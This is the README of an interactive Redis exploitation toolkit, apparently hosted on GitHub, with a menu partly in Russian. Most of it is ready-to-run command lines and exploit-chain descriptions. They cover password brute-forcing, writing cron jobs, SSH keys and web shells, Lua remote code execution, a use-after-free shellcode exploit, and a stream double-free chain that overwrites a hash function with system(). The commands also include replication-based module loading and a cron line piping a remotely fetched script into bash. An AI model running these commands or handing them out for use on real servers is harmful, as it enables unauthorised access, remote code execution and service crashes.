Redis exploitation toolkit: password brute, file writes, Lua RCE, CVE-2022-0543, CVE-2025-49844, CVE-2025-32023, CVE-2026-66373, replication RCE
An interactive Redis testing toolkit: password cracking, file writing, Lua-RCE, RediShell (CVE-2025-49844), HyperLogLog PoC (CVE-2025-32023), stream NACK double free (CVE-2026-66373), and replication RCE with module loading.
Python 3.8+, mostly standard library only. For the
replication vector, gcc is required on the attacker's machine (the toolkit builds
module/exp.so itself). For RediShell, the toolkit creates a venv and installs redis +
iced-x86 from exploits/wheels (offline), with fallback to PyPI.
git clone https://github.com/Ssss4562/redis-strike
cd redis-strike
python3 redis_strike.py
Next, the menu:
0) подключиться / сменить цель # IP, порт, ACL-логин, пароль
1) информация и проверка векторов
2) cron -> reverse shell / beacon
3) SSH authorized_keys
4) веб-шелл
5) CVE-2022-0543 (Lua RCE)
6) replication RCE (MODULE LOAD)
7) подбор пароля
8) произвольная Redis-команда
9) автопрогон
10) CVE-2025-49844 (RediShell, Lua UAF)
11) CVE-2025-32023 (HyperLogLog OOB PoC)
12) CVE-2024-31449 (bit.tohex DoS)
13) CVE-2026-66373 (stream NACK double free)
q) выход
The password is entered hidden (getpass); an empty input means connecting without a password.
If the password is unknown, brute-forcing can be launched directly from the connection menu.
The "information" item prints the CVE matrix for the target's version.
# проверка доступа, конфигурации и CVE-матрицы
python3 redis_strike.py --host 10.0.0.5 --port 6379 --password secret --info
# подбор пароля (встроенный список или словарь)
python3 redis_strike.py --host 10.0.0.5 --brute
python3 redis_strike.py --host 10.0.0.5 --brute /path/to/wordlist.txt
# CVE-2022-0543
python3 redis_strike.py --host 10.0.0.5 --password secret --lua "id"
# CVE-2025-49844 (без CMD — интерактивный выбор команды/reverse shell)
python3 redis_strike.py --host 10.0.0.5 --password secret --redishell "id"
python3 redis_strike.py --host 10.0.0.5 --password secret --redishell
# CVE-2025-32023 (краш-примитив)
python3 redis_strike.py --host 10.0.0.5 --password secret --hll
# CVE-2024-31449 (DoS, bit.tohex)
python3 redis_strike.py --host 10.0.0.5 --password secret --bit
# CVE-2026-66373 (Redis 6.2.11, stream NACK double free)
python3 redis_strike.py --host 10.0.0.5 --password secret --stream-dry
python3 redis_strike.py --host 10.0.0.5 --password secret --stream "id"
# снять offsets с копии бинаря и libc целевой сборки
python3 redis_strike.py --host 10.0.0.5 --password secret \
--stream-calibrate ./redis-server ./libc.so.6
# скачать официальный образ и снять профиль автоматически
python3 redis_strike.py --host 10.0.0.5 --stream-fetch 6.0.20
# cron с произвольной командой
python3 redis_strike.py --host 10.0.0.5 --cron "curl http://10.0.0.1/x.sh | bash"
# replication RCE (Redis 4.0–5.0.14)
python3 redis_strike.py --host 10.0.0.5 --password secret --lhost 10.0.0.1 --replicate
| Vector | Conditions | Result |
|---|---|---|
| CVE-2025-49844 (RediShell) | Redis with Lua, public PoC — exact builds redis:8.2.1-alpine / 8.2.1-bookworm x86-64, EVAL available | RCE, command or reverse shell |
| CVE-2025-32023 | Redis >= 2.8 up to 6.2.19 / 7.2.10 / 7.4.5 / 8.0.3; PFCOUNT available | OOB write, crash/memory corruption |
| CVE-2024-31449 | Redis up to 6.2.16 / 7.2.6 / 7.4.1; EVAL available | stack overflow in bit.tohex, DoS |
| CVE-2026-66373 | Redis 5.0–8.7 with streams; offsets from the profile via redis_build_id | double free in stream NACK, RCE |
| CVE-2022-0543 | Redis from the Debian/Ubuntu package with system liblua5.1, EVAL available | RCE as the redis user |
| Replication RCE | Redis 4.0–5.0.14, SLAVEOF, CONFIG SET, MODULE LOAD available | RCE, commands system.exec / system.rev |
| File write -> cron | CONFIG SET dir/dbfilename available, redis process running as root | scheduled reverse shell |
| File write -> SSH | CONFIG SET available, /root/.ssh exists | key-based login |
| File write -> web shell | CONFIG SET available, webroot known | HTTP shell |
| Brute force | requirepass / ACL present | dictionary attack |
| CVE-2015-4335 | Redis < 2.8.21 / 3.0.2, EVAL available | detection of Lua bytecode loading |
Use-after-free in the Redis Lua interpreter. The PoC brute-forces addresses, builds
a JOP chain and executes shellcode. The kit includes saneki's public PoC
(exploits/cve_2025_49844) with support for two exact Redis 8.2.1 builds;
on other builds the PoC finds no match for redis_build_id and
exits with an error — this is a limitation of the PoC, not of the kit.
For Redis 5.0.10 (and generally 4.0–5.0.14), the working path is replication RCE
(item 6): SLAVEOF + MODULE LOAD. For 6/7 without an exact build, RediShell
leaves CVE-2022-0543, HLL and the bit.tohex PoC.
python3 redis_strike.py --host 127.0.0.1 --port 6379 --redishell "id"
Reverse shell is launched from the interactive menu (item 10 -> mode 2).
Dependencies are installed automatically in exploits/.venv:
exploits/.venv/bin/pip install redis iced-x86.
Malformed sparse HLL with overflow of int i in hllMerge; PFCOUNT with two
identical keys triggers an OOB write. This is specifically a PoC of the primitive: on a
vulnerable build the process crashes, on a patched one it responds with
INVALIDOBJ Corrupted HLL object detected. Full RCE requires the target's
redis-server binary and separate heap work — it is not included in the kit.
Patches: 6.2.19, 7.2.10, 7.4.5, 8.0.3. Distributions (for example, Ubuntu
7.0.15) may have a backport of the fix — the version in INFO then lies, and the PoC
gets INVALIDOBJ instead of a crash.
bit.tohex(65535, -2147483648): INT32_MIN is not converted to a positive
number, bypasses the n > 8 check, and the loop writes past the boundary of char buf[8].
On a vulnerable build — stack overflow and process crash; on a patched one
(6.2.16 / 7.2.6 / 7.4.1) a normal result is returned.
python3 redis_strike.py --host 127.0.0.1 --port 6379 --bit
RESTORE does not copy streamNACK for each consumer: two consumers in
the same consumer group share a single NACK. XGROUP DELCONSUMER frees
it the first time, and the second consumer's PEL leaves a dangling pointer.
Next comes reclaiming a 24-byte chunk with a key, arbitrary read via
XPENDING, a second double free, overwriting dictEntry, a libc leak from the GOT,
and dictType->hashFunction = system(). The final GET of the command string
executes it via system().
The chain cleans up its own garbage and restores dictType; after launch,
the target responds to PING. One clean run per boot — a repeat
is refused until the instance is restarted.
The built-in offsets are only for redis:6.2.6-v6 (Redis 6.2.11,
build 96755008bc30dc8c, glibc 2.31) and redis:6.0.20 (build
dbdcb1f5eaf1bc2, glibc 2.28). Both profiles live in
exploits/cve_2026_66373/profiles/ and are picked up by redis_build_id
from INFO.
If the target runs in the official image, the binary is downloaded automatically:
python3 redis_strike.py --host 127.0.0.1 --port 6379 --stream-fetch 6.0.20
fetch_build.py pulls library/redis:<tag> from Docker Hub via the registry
API (docker is not needed), extracts redis-server and libc, and compares
build id with the target. If it matches, the profile is saved; if it does not match, it will say that
the build is different and will not guess. Within step 13, the tag is requested if
there is no profile: Enter — switch to the local binary.
For a target that was not built from the official image, its redis-server and
libc.so.6 are required:
python3 redis_strike.py --host 127.0.0.1 --port 6379 --password exploitme \
--stream-calibrate /path/to/redis-server /path/to/libc.so.6